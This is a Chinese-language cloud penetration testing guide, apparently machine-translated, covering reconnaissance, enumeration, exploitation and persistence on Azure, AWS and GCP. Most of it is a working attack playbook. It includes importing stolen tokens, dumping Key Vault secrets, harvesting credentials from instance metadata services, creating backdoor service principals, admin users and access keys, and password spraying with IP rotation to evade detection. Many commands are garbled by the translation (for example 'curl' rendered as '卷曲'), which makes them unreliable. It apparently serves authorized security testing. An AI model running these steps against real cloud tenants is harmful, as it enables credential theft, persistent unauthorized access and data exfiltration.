# 云渗透测试 ## 目的对 Microsoft Azure、Amazon Web Services (AWS) 和 Google Cloud Platform (GCP) 上的云基础设施进行全面的安全评估。该技能涵盖授权云安全活动的侦察、身份验证测试、资源枚举、权限升级、数据提取和持久性技术。 ## 先决条件 ### 所需工具 # Azure 工具安装模块-名称 Az -AllowClobber -Force 安装模块-名称 MSOnline -Force 安装模块-名称 AzureAD -Force # AWS CLI 卷曲“https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip”-o“awscliv2.zip” 解压缩 awscliv2.zip && sudo ./aws/install # GCP CLI 卷曲 https://sdk.cloud.google.com |巴什 gcloud初始化 # 附加工具 pip 安装 scoutsuite pacu ### 所需知识 * 云架构基础知识 * 身份和访问管理（IAM） * API认证机制 * DevOps 和自动化概念 ### 所需访问权限 * 测试的书面授权 * 测试凭证或访问令牌 * 明确的参与范围和规则 ## 输出和可交付成果 1. **云安全评估报告** \-综合调查结果和风险评级 2. **资源清单** \- 枚举的服务、存储和计算实例 3. **凭证调查结果** \- 暴露的秘密、密钥和错误配置 4. **修复建议** \- 每个平台的强化指南 ## 核心工作流程 ### 第一阶段：侦察收集有关目标云存在的初始信息： # Azure：获取联盟信息卷曲“https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1” # Azure：获取租户 ID 卷曲“https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration” # 按公司名称枚举云资源 python3 cloud_enum.py -k 目标公司 # 根据云提供商检查 IP 猫 ips.txt | python3 ip2provider.py ### 第 2 阶段：Azure 身份验证向 Azure 环境进行身份验证： # Az PowerShell 模块导入模块 Az 连接-AzAccount # 使用凭据（可能绕过 MFA） $credential = 获取凭证 Connect-AzAccount -Credential $credential # 导入窃取的上下文导入-AzContext -配置文件“C:\Temp\StolenToken.json” # 导出上下文以实现持久化 Save-AzContext -路径 C:\Temp\AzureAccessToken.json # MSOnline 模块导入模块 MSOnline 连接-MsolService ### 第 3 阶段：Azure 枚举发现 Azure 资源和权限： # 列出上下文和订阅获取 AzContext -ListAvailable 获取 AzSubscription # 当前用户角色分配获取 AzRoleAssignment # 列出资源获取 AzResource 获取 AzResourceGroup # 存储帐户获取 AzStorageAccount # 网络应用程序获取 AzWebApp # SQL 服务器和数据库获取 AzSQLServer Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG # 虚拟机获取 AzVM $vm = Get-AzVM -Name“VMName” $vm.OSProfile # 列出所有用户获取 MSolUser -全部 # 列出所有组获取 MsolGroup -全部 # 全局管理员 Get-MsolRole -RoleName“公司管理员” 获取 MSolGroupMember -GroupObjectId $GUID # 服务主体获取 MsolServicePrincipal ### 第 4 阶段：Azure 开发利用 Azure 错误配置： # 搜索用户属性中的密码 $users = Get-MsolUser -All foreach（$用户中的$用户）{ $道具=@() $用户|获取会员 | foreach-object{$props+=$_.Name} foreach($props 中的 $props){ if($user.$prop -like "*密码*"){ 写入输出 ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) } } } # 在虚拟机上执行命令 Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1 # 提取虚拟机用户数据 $vms = 获取-AzVM $vms.UserData # 转储 Key Vault 机密 az keyvault list --query '[].name' --output tsv az keyvault set-policy --name --upn --secret-permissions 获取列表 az keyvault 秘密列表 --vault-name --query '[].id' --output tsv az keyvault 秘密显示 --id ### 第 5 阶段：Azure 持久性在 Azure 中建立持久性： # 创建后门服务主体 $spn = New-AzAdServicePrincipal -DisplayName“WebService”-角色所有者 $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) $UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) # 将服务主体添加到全局管理中 $sp = Get-MsolServicePrincipal -AppPrincipalId $role = Get-MsolRole -RoleName "公司管理员" Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId # 以服务主体身份登录 $cred = Get-Credential # AppID 作为用户名，secret 作为密码 Connect-AzAccount -Credential $cred -租户“租户 ID”-ServicePrincipal # 通过 CLI 创建新的管理员用户 az ad user create --display-name <名称> --password <密码> --user-principal-name ### 第 6 阶段：AWS 身份验证向 AWS 环境进行身份验证： # 配置 AWS CLI AWS配置 # 输入：访问密钥 ID、秘密访问密钥、区域、输出格式 # 使用特定的配置文件 awsconfigure--配置文件目标 # 测试凭证 aws sts 获取调用者身份 ### 第 7 阶段：AWS 枚举发现 AWS 资源： # 账户信息 aws sts 获取调用者身份 aws iam 列表用户 aws iam 列表角色 # S3 桶 AWS S3 LS aws s3 ls s3://存储桶名称/ aws s3 同步 s3://bucket-name ./local-dir # EC2 实例 aws ec2 描述实例 # RDS 数据库 aws rds 描述数据库实例 --region us-east-1 # 拉姆达函数 aws lambda 列表函数 --region us-east-1 aws lambda get-function --function-name <名称> # EKS 集群 aws eks list-clusters --region us-east-1 # 网络 aws ec2 描述子网 aws ec2 描述安全组 --group-ids aws directconnect 描述连接 ### 第 8 阶段：AWS 开发利用AWS错误配置： # 检查公共 RDS 快照 aws rds 描述-db-snapshots --snapshot-type 手动 --query=DBSnapshots[*].DBSnapshotIdentifier aws rds 描述-db-snapshot-attributes --db-snapshot-identifier # AttributeValues = "all" 表示可公开访问 # 提取Lambda环境变量（可能包含秘密） aws lambda get-function --function-name <名称> | jq '.配置.环境' # 访问元数据服务（来自受损的 EC2）卷曲http://169.254.169.254/latest/meta-data/ 卷曲http://169.254.169.254/latest/meta-data/iam/security-credentials/ # IMDSv2 访问令牌=$(curl -X PUT“http://169.254.169.254/latest/api/token”-H“X-aws-ec2-metadata-token-ttl-秒：21600”) 卷曲http://169.254.169.254/latest/meta-data/profile -H“X-aws-ec2-metadata-token：$TOKEN” ### 第 9 阶段：AWS 持久性在 AWS 中建立持久性： # 列出现有的访问密钥 aws iam list-access-keys --user-name <用户名> # 创建后门访问密钥 aws iam create-access-key --user-name <用户名> # 获取所有EC2公网IP 对于 $(catregions.txt) 中的区域；做 aws ec2 描述实例 --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]' 完成 ### 第 10 阶段：GCP 枚举发现 GCP 资源： # 认证 gcloud 身份验证登录 gcloud auth activate-service-account --key-file creds.json gcloud 身份验证列表 # 账户信息 gcloud 配置列表 gcloud 组织列表 gcloud 项目列表 # IAM 政策 gcloud 组织 get-iam-policy gcloud 项目 get-iam-policy <项目 ID> # 启用的服务 gcloud 服务列表 # 源代码仓库 gcloud 源代码库列表 gcloud 源代码库克隆 # 计算实例 gcloud 计算实例列表 gcloud beta 计算 ssh --zone“区域”“实例”--project“项目” # 存储桶 gsutil ls gsutil ls -r gs://存储桶名称 gsutil cp gs://bucket/file ./local # SQL 实例 gcloud sql 实例列表 gcloud sql 数据库列表 --instance # 库伯内特斯 gcloud 容器集群列表 gcloud 容器集群 get-credentials --region kubectl 集群信息 ### 第 11 阶段：GCP 利用利用 GCP 错误配置： # 获取元数据服务数据卷曲“http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text”-H“元数据风格：Google” # 检查访问范围卷曲 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H '元数据风味：Google' # 使用密钥环解密数据 gcloud kms解密 --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key --keyring --location 全局 # Serverless功能分析 gcloud 函数列表 gcloud 函数描述 <名称> gcloud 函数日志读取 <名称> --limit 100 # 查找存储的凭据 sudo find /home -名称“credentials.db” sudo cp -r /home/user/.config/gcloud ~/.config gcloud 身份验证列表 ## 快速参考 ### Azure 键盘命令行动|命令 ---|--- 登录 | `连接-AzAccount` 列出订阅 | `获取 AzSubscription` 列出用户| `获取 MsolUser -全部` 列出群组 | `获取 MsolGroup -All` 现任职务 | `获取 AzRoleAssignment` 列出虚拟机 | `获取-AzVM` 列表存储 | `获取 AzStorageAccount` Key Vault 的秘密 | `az keyvault 秘密列表 --vault-name <名称>` ### AWS 按键命令行动|命令 ---|--- 配置 | `aws 配置` 来电者身份| `aws sts 获取调用者身份` 列出用户| `aws iam 列表用户` 列出 S3 存储桶 | `aws s3 ls` 列出 EC2 | `aws ec2 描述实例` 列出 Lambda | `aws lambda 列表函数` 元数据 | `卷曲http://169.254.169.254/latest/meta-data/` ### GCP 按键命令行动|命令 ---|--- 登录 | `gcloud 身份验证登录` 列出项目 | `gcloud 项目列表` 列出实例 | `gcloud 计算实例列表` 列出存储桶 | `gsutil ls` 列出集群 | `gcloud 容器集群列表` IAM 政策 | `gcloud 项目 get-iam-policy <项目>` 元数据 | `curl -H“元数据风格：Google”http://metadata.google.internal/...` ### 元数据服务 URL 供应商|网址 ---|--- 亚马逊AWS | `http://169.254.169.254/latest/meta-data/` 天蓝色| `http://169.254.169.254/metadata/instance?api-version=2018-02-01` GCP | `http://metadata.google.internal/computeMetadata/v1/` ### 有用的工具工具|目的 ---|--- 侦察套件 |多云安全审计帕库 | AWS利用框架蔚蓝猎犬 | Azure AD 攻击路径映射 ROAD工具 | Azure AD 枚举奇怪的AAL | AWS 服务枚举微爆| Azure 安全评估电源Zure | Azure 后利用 ## 约束和限制 ### 法律要求 * 仅在明确书面授权的情况下进行测试 * 尊重云帐户之间的范围边界 * 不访问生产客户数据 * 记录所有测试活动 ### 技术限制 * MFA 可以防止基于凭据的攻击 * 条件访问策略可能会限制访问 * CloudTrail/Activity Logs记录所有API调用 * 某些资源需要特定区域访问 ### 检测注意事项 * 云提供商记录所有 API 活动 * 异常访问模式触发警报 * 使用缓慢的、深思熟虑的枚举 * 考虑 GuardDuty、安全中心、Cloud Armor ## 示例 ### 示例 1：Azure 密码喷雾 **场景：** 测试 Azure AD 密码策略 # 使用 MSOLSpray 和 FireProx 进行 IP 轮换 # 首先创建 FireProx 端点 python fire.py --access_key <密钥> --secret_access_key <秘密> --region us-east-1 --url https://login.microsoft.com --command create # 喷洒密码导入模块 .\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\users.txt -密码“Spring2024！” -URL https://.execute-api.us-east-1.amazonaws.com/fireprox ### 示例 2：AWS S3 存储桶枚举 **场景：** 查找并访问配置错误的 S3 存储桶 # 列出所有桶 aws s3 ls | aws s3 ls | awk '{print $3}' > buckets.txt # 检查每个桶的内容同时读取桶；做 echo“正在检查：$bucket” aws s3 ls s3://$bucket 2>/dev/null 完成 ) \- Azure 自动化运行手册、函数应用枚举、AWS 数据渗透、GCP 高级利用

云渗透测试

包含技能